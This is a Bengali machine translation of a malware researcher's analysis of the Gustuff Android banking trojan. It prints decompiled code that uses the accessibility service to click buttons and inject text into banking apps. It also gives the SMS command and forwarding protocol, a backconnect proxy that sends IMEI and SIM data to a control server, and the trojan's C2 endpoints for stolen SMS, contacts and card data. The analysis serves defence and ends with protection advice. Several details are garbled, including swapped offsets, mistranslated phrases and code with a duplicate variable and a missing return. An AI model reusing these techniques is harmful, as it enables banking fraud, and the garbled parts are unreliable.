• ইন্টারেক্টিভ — কমান্ডটি অ্যাক্সেসিবিলিটি সার্ভিস ব্যবহার করে অন্যান্য অ্যাপ্লিকেশনের উইন্ডো উপাদানগুলির সাথে ইন্টারঅ্যাক্ট করার জন্য ডিজাইন করা হয়েছে। মিথস্ক্রিয়া জন্য একটি বিশেষ পরিষেবা প্রোগ্রাম বাস্তবায়ন করা হয়েছে. তদন্তাধীন অ্যাপ্লিকেশনটি উইন্ডোজের সাথে যোগাযোগ করতে পারে:
  • বর্তমানে সক্রিয়। এই ক্ষেত্রে, প্যারামিটারটিতে আইডি বা টেক্সট (নাম) রয়েছে যার সাথে আপনাকে যোগাযোগ করতে হবে।
  • কমান্ডটি কার্যকর করার সময় ব্যবহারকারীর কাছে দৃশ্যমান। অ্যাপ্লিকেশনটি আইডি দ্বারা উইন্ডোজ নির্বাচন করে।

  বস্তু প্রাপ্ত হচ্ছে অ্যাক্সেসিবিলিটি নোডইনফো আগ্রহের উইন্ডো উপাদানগুলির জন্য, অ্যাপ্লিকেশন, পরামিতিগুলির উপর নির্ভর করে, নিম্নলিখিত ক্রিয়াগুলি সম্পাদন করতে পারে:

  • ফোকাস - বস্তুতে ফোকাস সেট করুন।
  • ক্লিক করুন - একটি বস্তুতে ক্লিক করুন।
  • actionId — আইডি দ্বারা একটি ক্রিয়া সম্পাদন করুন।
  • setText - একটি বস্তুর পাঠ্য পরিবর্তন করুন। পাঠ্য পরিবর্তন করা দুটি উপায়ে সম্ভব: একটি ক্রিয়া সম্পাদন করুন ACTION_SET_TEXT (যদি সংক্রামিত ডিভাইসের অ্যান্ড্রয়েড সংস্করণ এর চেয়ে ছোট বা সমান হয় বাতাসা, অথবা ক্লিপবোর্ডে একটি স্ট্রিং স্থাপন করে এবং এটিকে একটি বস্তুতে আটকে (পুরানো সংস্করণগুলির জন্য)। এই কমান্ডটি ব্যাঙ্কিং অ্যাপ্লিকেশনে ডেটা পরিবর্তন করতে ব্যবহার করা যেতে পারে।

2. PARAMS_ACTIONS - একই রকম PARAMS_ACTION, শুধুমাত্র কমান্ডের একটি JSON অ্যারে আসে।

মনে হচ্ছে অন্য অ্যাপ্লিকেশনের উইন্ডো উপাদানগুলির সাথে ইন্টারঅ্যাক্ট করার ফাংশনটি কেমন দেখাচ্ছে তা নিয়ে অনেক লোক আগ্রহী হবে। এইভাবে এই কার্যকারিতা Gustuff এ প্রয়োগ করা হয়:

boolean interactiveAction(List aiList, JSONObject action, JsonObject res) {
    int count = action.optInt("repeat", 1);
    Iterator aiListIterator = ((Iterable)aiList).iterator();
    int count = 0;
    while(aiListIterator.hasNext()) {
        Object ani = aiListIterator.next();
        if(1 <= count) {
            int index;
            for(index = 1; true; ++index) {
                if(action.has("focus")) {
                    if(((AccessibilityNodeInfo)ani).performAction(1)) {
                        ++count;
                    }
                }
                else if(action.has("click")) {
                    if(((AccessibilityNodeInfo)ani).performAction(16)) {
                        ++count;
                    }
                }
                else if(action.has("actionId")) {
                    if(((AccessibilityNodeInfo)ani).performAction(action.optInt("actionId"))) {
                        ++count;
                    }
                }
                else if(action.has("setText")) {
                    customHeader ch = CustomAccessibilityService.a;
                    Context context = this.getApplicationContext();
                    String text = action.optString("setText");
                    if(performSetTextAction(ch, context, ((AccessibilityNodeInfo)ani), text)) {
                        ++count;
                    }
                }
                if(index == count) {
                    break;
                }
            }
        }
        ((AccessibilityNodeInfo)ani).recycle();
    }
    res.addPropertyNumber("res", Integer.valueOf(count));
}

পাঠ্য প্রতিস্থাপন ফাংশন:

boolean performSetTextAction(Context context, AccessibilityNodeInfo ani, String text) {
    boolean result;
    if(Build$VERSION.SDK_INT >= 21) {
        Bundle b = new Bundle();
        b.putCharSequence("ACTION_ARGUMENT_SET_TEXT_CHARSEQUENCE", ((CharSequence)text));
        result = ani.performAction(0x200000, b);  // ACTION_SET_TEXT
    }
    else {
        Object clipboard = context.getSystemService("clipboard");
        if(clipboard != null) {
        ((ClipboardManager)clipboard).setPrimaryClip(ClipData.newPlainText("autofill_pm", ((CharSequence)text)));
        result = ani.performAction(0x8000);  // ACTION_PASTE
        }
        else {
            result = false;
        }
    }
    return result;
}

এইভাবে, কন্ট্রোল সার্ভারের সঠিক কনফিগারেশনের সাথে, Gustuff ব্যাঙ্কিং অ্যাপ্লিকেশনে পাঠ্য ক্ষেত্রগুলি পূরণ করতে এবং লেনদেন সম্পূর্ণ করার জন্য প্রয়োজনীয় বোতামগুলিতে ক্লিক করতে সক্ষম। এমনকি ট্রোজানের অ্যাপ্লিকেশনটিতে লগ ইন করার প্রয়োজন নেই—এটি একটি PUSH বিজ্ঞপ্তি প্রদর্শন করার জন্য একটি কমান্ড পাঠানো এবং তারপরে পূর্বে ইনস্টল করা ব্যাঙ্কিং অ্যাপ্লিকেশনটি খুলতে যথেষ্ট। ব্যবহারকারী নিজেকে প্রমাণীকরণ করবে, যার পরে Gustuff গাড়িটি পূরণ করতে সক্ষম হবে।

এসএমএস বার্তা প্রক্রিয়াকরণ মডিউল

অ্যাপ্লিকেশনটি এসএমএস বার্তা গ্রহণ করার জন্য সংক্রামিত ডিভাইসের জন্য একটি ইভেন্ট হ্যান্ডলার ইনস্টল করে। অধ্যয়নের অধীনে থাকা অ্যাপ্লিকেশনটি অপারেটরের কাছ থেকে আদেশ পেতে পারে, যা এসএমএস বার্তার মূল অংশে আসে। কমান্ড ফরম্যাটে আসে:

7!5=<%Base64 এনকোডেড কমান্ড%>

অ্যাপ্লিকেশনটি সমস্ত আগত এসএমএস বার্তাগুলিতে স্ট্রিং অনুসন্ধান করে৷ ৭!৫=, যখন একটি স্ট্রিং সনাক্ত করা হয়, এটি অফসেট 64 এ বেস4 থেকে স্ট্রিংটিকে ডিকোড করে এবং কমান্ডটি কার্যকর করে। কমান্ড CnC এর সাথে একই রকম। মৃত্যুদন্ডের ফলাফল একই নম্বরে পাঠানো হয় যেখান থেকে কমান্ড এসেছে। প্রতিক্রিয়া বিন্যাস:

7*5=<%Base64 এনকোড এর “result_code কমান্ড”%>

ঐচ্ছিকভাবে, অ্যাপ্লিকেশনটি সমস্ত প্রাপ্ত বার্তা রুট নম্বরে পাঠাতে পারে। এটি করার জন্য, পছন্দ ফাইলে রুট নম্বর উল্লেখ করতে হবে এবং বার্তা পুনঃনির্দেশ পতাকা সেট করতে হবে। ফরম্যাটে আক্রমণকারীর নম্বরে একটি এসএমএস বার্তা পাঠানো হয়:

<%সংখ্যা থেকে%> — <%সময়, বিন্যাস: dd/MM/yyyy HH:mm:ss%> <%SMS body%>

এছাড়াও, ঐচ্ছিকভাবে, অ্যাপ্লিকেশনটি CnC-তে বার্তা পাঠাতে পারে। এসএমএস বার্তাটি JSON ফর্ম্যাটে সার্ভারে পাঠানো হয়:

{
    "id":<%BotID%>,
    "sms":
    {
        "text":<%SMS body%>,
        "number":<%From number%>,
        "date":<%Timestamp%>
    }
}

যদি পতাকা সেট করা হয় নাম জেনারেটর("DEFAULT_APP_SMS") - অ্যাপ্লিকেশনটি এসএমএস বার্তা প্রক্রিয়াকরণ বন্ধ করে এবং আগত বার্তাগুলির তালিকা সাফ করে।

প্রক্সি মডিউল

অধ্যয়নের অধীনে থাকা অ্যাপ্লিকেশনটিতে একটি ব্যাককানেক্ট প্রক্সি মডিউল রয়েছে (এর পরে এটি প্রক্সি মডিউল হিসাবে উল্লেখ করা হয়েছে), যার একটি পৃথক শ্রেণী রয়েছে যা কনফিগারেশন সহ স্ট্যাটিক ক্ষেত্রগুলি অন্তর্ভুক্ত করে। কনফিগারেশন ডেটা নমুনায় পরিষ্কার আকারে সংরক্ষণ করা হয়:

প্রক্সি মডিউল দ্বারা সম্পাদিত সমস্ত ক্রিয়া ফাইলগুলিতে লগ ইন করা হয়। এটি করার জন্য, এক্সটার্নাল স্টোরেজের অ্যাপ্লিকেশনটি "লগ" (কনফিগারেশন ক্লাসের ProxyConfigClass.logsDir ক্ষেত্র) নামে একটি ডিরেক্টরি তৈরি করে, যেখানে লগ ফাইলগুলি সংরক্ষণ করা হয়। নাম সহ ফাইলগুলিতে লগিং ঘটে:

1. main.txt - CommandServer নামক ক্লাসের কাজ এই ফাইলে লগইন করা আছে। এর পরে, এই ফাইলে স্ট্রিং স্ট্রিং লগ করা mainLog(str) হিসাবে চিহ্নিত করা হবে।
2. সেশন-<%id%>.txt — এই ফাইলটি একটি নির্দিষ্ট প্রক্সি সেশনের সাথে যুক্ত লগ ডেটা সংরক্ষণ করে। এর পরে, এই ফাইলে স্ট্রিং স্ট্রিং লগ করাকে সেশনলগ (str) হিসাবে চিহ্নিত করা হবে।
3. server.txt - এই ফাইলটি উপরে বর্ণিত ফাইলগুলিতে লেখা সমস্ত ডেটা লগ করতে ব্যবহৃত হয়।

লগ ডেটা বিন্যাস:

<% তারিখ%> [থ্রেড[<%থ্রেড আইডি%>], আইডি[]]: লগ-স্ট্রিং

প্রক্সি মডিউল পরিচালনার সময় ঘটে এমন ব্যতিক্রমগুলিও একটি ফাইলে লগ করা হয়। এটি করার জন্য, অ্যাপ্লিকেশনটি নিম্নলিখিত বিন্যাসে একটি JSON অবজেক্ট তৈরি করে:

{
    "uncaughtException":<%short description of throwable%>
    "thread":<%thread%>
    "message":<%detail message of throwable%>
    "trace":        //Stack trace info
        [
            {
                "ClassName":
                "FileName":
                "LineNumber":
                "MethodName":
            },
            {
                "ClassName":
                "FileName":
                "LineNumber":
                "MethodName":
            }
        ]
}

তারপর এটি একটি স্ট্রিং উপস্থাপনা রূপান্তরিত এবং এটি লগ.

প্রক্সি মডিউলটি সংশ্লিষ্ট কমান্ড পাওয়ার পরে চালু করা হয়। প্রক্সি মডিউল চালু করার জন্য একটি কমান্ড প্রাপ্ত হলে, অ্যাপ্লিকেশনটি একটি পরিষেবা শুরু করে যাকে বলা হয় প্রধান পরিষেবা, যা প্রক্সি মডিউলের অপারেশন পরিচালনার জন্য দায়ী - এটি শুরু করা এবং বন্ধ করা।

পরিষেবা শুরু করার পর্যায়গুলি:

1. একটি টাইমার শুরু করে যা মিনিটে একবার চলে এবং প্রক্সি মডিউলের কার্যকলাপ পরীক্ষা করে। মডিউল সক্রিয় না হলে, এটি এটি শুরু করে।
এছাড়াও যখন ঘটনাটি ট্রিগার হয় android.net.conn.CONNECTIVITY_CHANGE প্রক্সি মডিউল চালু হয়েছে।

2. অ্যাপ্লিকেশনটি প্যারামিটার সহ একটি ওয়েক-লক তৈরি করে PARTIAL_WAKE_LOCK এবং তাকে বন্দী করে। এটি ডিভাইসের CPU-কে স্লিপ মোডে যেতে বাধা দেয়।

3. প্রথমে লাইন লগিং করে প্রক্সি মডিউলের কমান্ড প্রসেসিং ক্লাস চালু করে mainLog("স্টার্ট সার্ভার") и

সার্ভার::start() হোস্ট[<%proxy_cnc%>], commandPort[<%command_port%>], proxyPort[<%proxy_port%>]

যেখানে proxy_cnc, command_port এবং proxy_port - প্রক্সি সার্ভার কনফিগারেশন থেকে প্রাপ্ত পরামিতি।

কমান্ড প্রসেসিং ক্লাস বলা হয় কমান্ড সংযোগ. স্টার্টআপের পরপরই, নিম্নলিখিত ক্রিয়াগুলি সম্পাদন করে:

4. সাথে সংযোগ করে ProxyConfigClass.host: ProxyConfigClass.commandPort এবং সেখানে JSON ফর্ম্যাটে সংক্রামিত ডিভাইস সম্পর্কে ডেটা পাঠায়:

{
    "id":<%id%>,
    "imei":<%imei%>,
    "imsi":<%imsi%>,
    "model":<%model%>,
    "manufacturer":<%manufacturer%>,
    "androidVersion":<%androidVersion%>,
    "country":<%country%>,
    "partnerId":<%partnerId%>,
    "packageName":<%packageName%>,
    "networkType":<%networkType%>,
    "hasGsmSupport":<%hasGsmSupport%>,
    "simReady":<%simReady%>,
    "simCountry":<%simCountry%>,
    "networkOperator":<%networkOperator%>,
    "simOperator":<%simOperator%>,
    "version":<%version%>
}

যেখানে:

• id – আইডেন্টিফায়ার, "x" নামের শেয়ার্ড প্রেফারেন্স ফাইল থেকে "id" ফিল্ডের সাথে একটি মান পাওয়ার চেষ্টা করে। যদি এই মানটি পাওয়া না যায় তবে এটি একটি নতুন উৎপন্ন করে। এইভাবে, প্রক্সি মডিউলের নিজস্ব শনাক্তকারী রয়েছে, যা বট আইডির মতোই তৈরি হয়।
• imei — ডিভাইসের IMEI। মান প্রাপ্তির প্রক্রিয়া চলাকালীন যদি একটি ত্রুটি ঘটে থাকে তবে এই ক্ষেত্রের পরিবর্তে একটি ত্রুটি পাঠ্য বার্তা লেখা হবে।
• imsi — ডিভাইসটির আন্তর্জাতিক মোবাইল গ্রাহক পরিচয়। মান প্রাপ্তির প্রক্রিয়া চলাকালীন যদি একটি ত্রুটি ঘটে থাকে তবে এই ক্ষেত্রের পরিবর্তে একটি ত্রুটি পাঠ্য বার্তা লেখা হবে।
• মডেল — শেষ পণ্যের জন্য শেষ-ব্যবহারকারী-দৃশ্যমান নাম।
• প্রস্তুতকারক — পণ্য/হার্ডওয়্যারের প্রস্তুতকারক (Build.MANUFACTURER)।
• androidVersion - ফরম্যাটে একটি স্ট্রিং "<%release_version%> (<%os_version%>),<%sdk_version%>"
• দেশ — ডিভাইসের বর্তমান অবস্থান।
• partnerId একটি খালি স্ট্রিং।
• প্যাকেজের নাম - প্যাকেজের নাম।
• নেটওয়ার্ক টাইপ — বর্তমান নেটওয়ার্ক সংযোগের ধরন (উদাহরণ: "ওয়াইফাই", "মোবাইল")। ত্রুটির ক্ষেত্রে, শূন্য প্রদান করে।
• hasGsmSupport - সত্য - যদি ফোন GSM সমর্থন করে, অন্যথায় মিথ্যা।
• simReady - সিম কার্ডের অবস্থা।
• simCountry - ISO দেশের কোড (সিম কার্ড প্রদানকারীর উপর ভিত্তি করে)।
• নেটওয়ার্ক অপারেটর - অপারেটরের নাম। মান প্রাপ্তির প্রক্রিয়া চলাকালীন যদি একটি ত্রুটি ঘটে থাকে তবে এই ক্ষেত্রের পরিবর্তে একটি ত্রুটি পাঠ্য বার্তা লেখা হবে।
• simOperator — পরিষেবা প্রদানকারীর নাম (SPN)। মান প্রাপ্তির প্রক্রিয়া চলাকালীন যদি একটি ত্রুটি ঘটে থাকে তবে এই ক্ষেত্রের পরিবর্তে একটি ত্রুটি পাঠ্য বার্তা লেখা হবে।
• সংস্করণ - এই ক্ষেত্রটি কনফিগার ক্লাসে সংরক্ষণ করা হয়েছে; বটের পরীক্ষিত সংস্করণগুলির জন্য এটি "1.6" এর সমান ছিল।

5. সার্ভার থেকে কমান্ডের জন্য অপেক্ষা করার মোডে স্যুইচ করে। সার্ভার থেকে কমান্ড ফরম্যাটে আসে:

• 0 অফসেট - কমান্ড
• 1 অফসেট – সেশনআইডি
• 2 অফসেট – দৈর্ঘ্য
• 4 অফসেট - ডেটা

যখন একটি কমান্ড আসে, অ্যাপ্লিকেশন লগ হয়:
mainLog("হেডার { sessionId<%id%>], type[<%command%>], length[<%length%>] }")

সার্ভার থেকে নিম্নলিখিত কমান্ডগুলি সম্ভব:

নাম	আদেশ	উপাত্ত	বিবরণ
সংযোগ আইডি	0	সংযোগ আইডি	একটি নতুন সংযোগ তৈরি করুন
ঘুম	3	সময়	প্রক্সি মডিউল বিরাম দিন
পিং পং	4	-	PONG বার্তা পাঠান

একটি PONG বার্তা 4 বাইট নিয়ে গঠিত এবং এর মতো দেখাচ্ছে: 0x04000000.

যখন connectionId কমান্ড প্রাপ্ত হয় (একটি নতুন সংযোগ তৈরি করতে) কমান্ড সংযোগ একটি ক্লাসের একটি উদাহরণ তৈরি করে প্রক্সি সংযোগ.

• দুটি ক্লাস প্রক্সিতে অংশ নেয়: প্রক্সি সংযোগ и শেষ. একটি ক্লাস তৈরি করার সময় প্রক্সি সংযোগ ঠিকানার সাথে সংযোগ করা হচ্ছে ProxyConfigClass.host: ProxyConfigClass.proxyPort এবং JSON অবজেক্ট পাস করা:

 {
    "id":<%connectionId%>
}

প্রতিক্রিয়া হিসাবে, সার্ভার একটি SOCKS5 বার্তা পাঠায় যাতে দূরবর্তী সার্ভারের ঠিকানা থাকে যার সাথে সংযোগ স্থাপন করা আবশ্যক। এই সার্ভারের সাথে মিথস্ক্রিয়া ক্লাসের মাধ্যমে ঘটে শেষ. সংযোগ সেটআপটি পরিকল্পনাগতভাবে নিম্নরূপ উপস্থাপন করা যেতে পারে:

নেটওয়ার্ক মিথস্ক্রিয়া

নেটওয়ার্ক স্নিফার দ্বারা ট্রাফিক বিশ্লেষণ প্রতিরোধ করতে, CnC সার্ভার এবং অ্যাপ্লিকেশনের মধ্যে মিথস্ক্রিয়া SSL প্রোটোকল ব্যবহার করে সুরক্ষিত করা যেতে পারে। সার্ভার থেকে এবং উভয় প্রেরিত সমস্ত ডেটা JSON ফর্ম্যাটে উপস্থাপিত হয়৷ অ্যাপ্লিকেশনটি অপারেশন চলাকালীন নিম্নলিখিত অনুরোধগুলি সম্পাদন করে:

• http://<%CnC%>/api/v1/set_state.php - কমান্ড কার্যকর করার ফলাফল।
• http://<%CnC%>/api/v1/get.php - একটি আদেশ গ্রহণ.
• http://<%CnC%>/api/v1/load_sms.php - সংক্রমিত ডিভাইস থেকে এসএমএস বার্তা ডাউনলোড করা।
• http://<%CnC%>/api/v1/load_ab.php - একটি সংক্রামিত ডিভাইস থেকে পরিচিতির একটি তালিকা আপলোড করা।
• http://<%CnC%>/api/v1/aevents.php - পছন্দ ফাইলে অবস্থিত পরামিতি আপডেট করার সময় অনুরোধ করা হয়।
• http://<%CnC%>/api/v1/set_card.php — Google Play Market হিসাবে ছদ্মবেশী একটি ফিশিং উইন্ডো ব্যবহার করে প্রাপ্ত ডেটা আপলোড করা।
• http://<%CnC%>/api/v1/logs.php - লগ ডেটা আপলোড করা হচ্ছে।
• http://<%CnC%>/api/v1/records.php - ফিশিং উইন্ডোর মাধ্যমে প্রাপ্ত ডেটা আপলোড করা।
• http://<%CnC%>/api/v1/set_error.php - একটি ত্রুটির বিজ্ঞপ্তি যা ঘটেছে।

সুপারিশ

মোবাইল ট্রোজানের হুমকি থেকে তাদের গ্রাহকদের রক্ষা করার জন্য, কোম্পানিগুলিকে অবশ্যই এমন ব্যাপক সমাধান ব্যবহার করতে হবে যা ব্যবহারকারীদের ডিভাইসে অতিরিক্ত সফ্টওয়্যার ইনস্টল না করেই দূষিত কার্যকলাপ নিরীক্ষণ এবং প্রতিরোধ করতে দেয়৷

এটি করার জন্য, মোবাইল ট্রোজান সনাক্ত করার জন্য স্বাক্ষর পদ্ধতিগুলিকে ক্লায়েন্ট এবং অ্যাপ্লিকেশন উভয়ের আচরণ বিশ্লেষণ করার জন্য প্রযুক্তির সাথে শক্তিশালী করা দরকার। সুরক্ষার মধ্যে ডিজিটাল ফিঙ্গারপ্রিন্ট প্রযুক্তি ব্যবহার করে একটি ডিভাইস শনাক্তকরণ ফাংশন অন্তর্ভুক্ত করা উচিত, যা এটি বোঝা সম্ভব করবে কখন একটি অ্যাকাউন্ট একটি অ্যাটিপিকাল ডিভাইস থেকে ব্যবহার করা হচ্ছে এবং ইতিমধ্যেই প্রতারকের হাতে পড়েছে৷

একটি মৌলিকভাবে গুরুত্বপূর্ণ বিষয় হল ক্রস-চ্যানেল বিশ্লেষণের প্রাপ্যতা, যা কোম্পানিগুলিকে শুধুমাত্র ইন্টারনেটে নয়, মোবাইল চ্যানেলেও উদ্ভূত ঝুঁকিগুলি নিয়ন্ত্রণ করতে দেয়, উদাহরণস্বরূপ, মোবাইল ব্যাঙ্কিংয়ের অ্যাপ্লিকেশনগুলিতে, ক্রিপ্টোকারেন্সিগুলির সাথে লেনদেনের জন্য এবং অন্য যে কোনও ক্ষেত্রে লেনদেন করা যেতে পারে আর্থিক লেনদেন।

ব্যবহারকারীদের জন্য নিরাপত্তা নিয়ম:

• Google Play ছাড়া অন্য কোনো উত্স থেকে Android OS সহ মোবাইল ডিভাইসের জন্য অ্যাপ্লিকেশন ইনস্টল করবেন না, অ্যাপ্লিকেশন দ্বারা অনুরোধ করা অধিকারগুলিতে বিশেষ মনোযোগ দিন;
• নিয়মিত অ্যান্ড্রয়েড ওএস আপডেট ইনস্টল করুন;
• ডাউনলোড করা ফাইলগুলির এক্সটেনশনগুলিতে মনোযোগ দিন;
• সন্দেহজনক সম্পদ পরিদর্শন করবেন না;
• এসএমএস বার্তায় প্রাপ্ত লিঙ্কগুলিতে ক্লিক করবেন না।

অভিনয় সেমিয়ন রোগচেভা, গ্রুপ-আইবি কম্পিউটার ফরেনসিক ল্যাবরেটরিতে ম্যালওয়্যার গবেষণার জুনিয়র বিশেষজ্ঞ।

উত্স: www.habr.com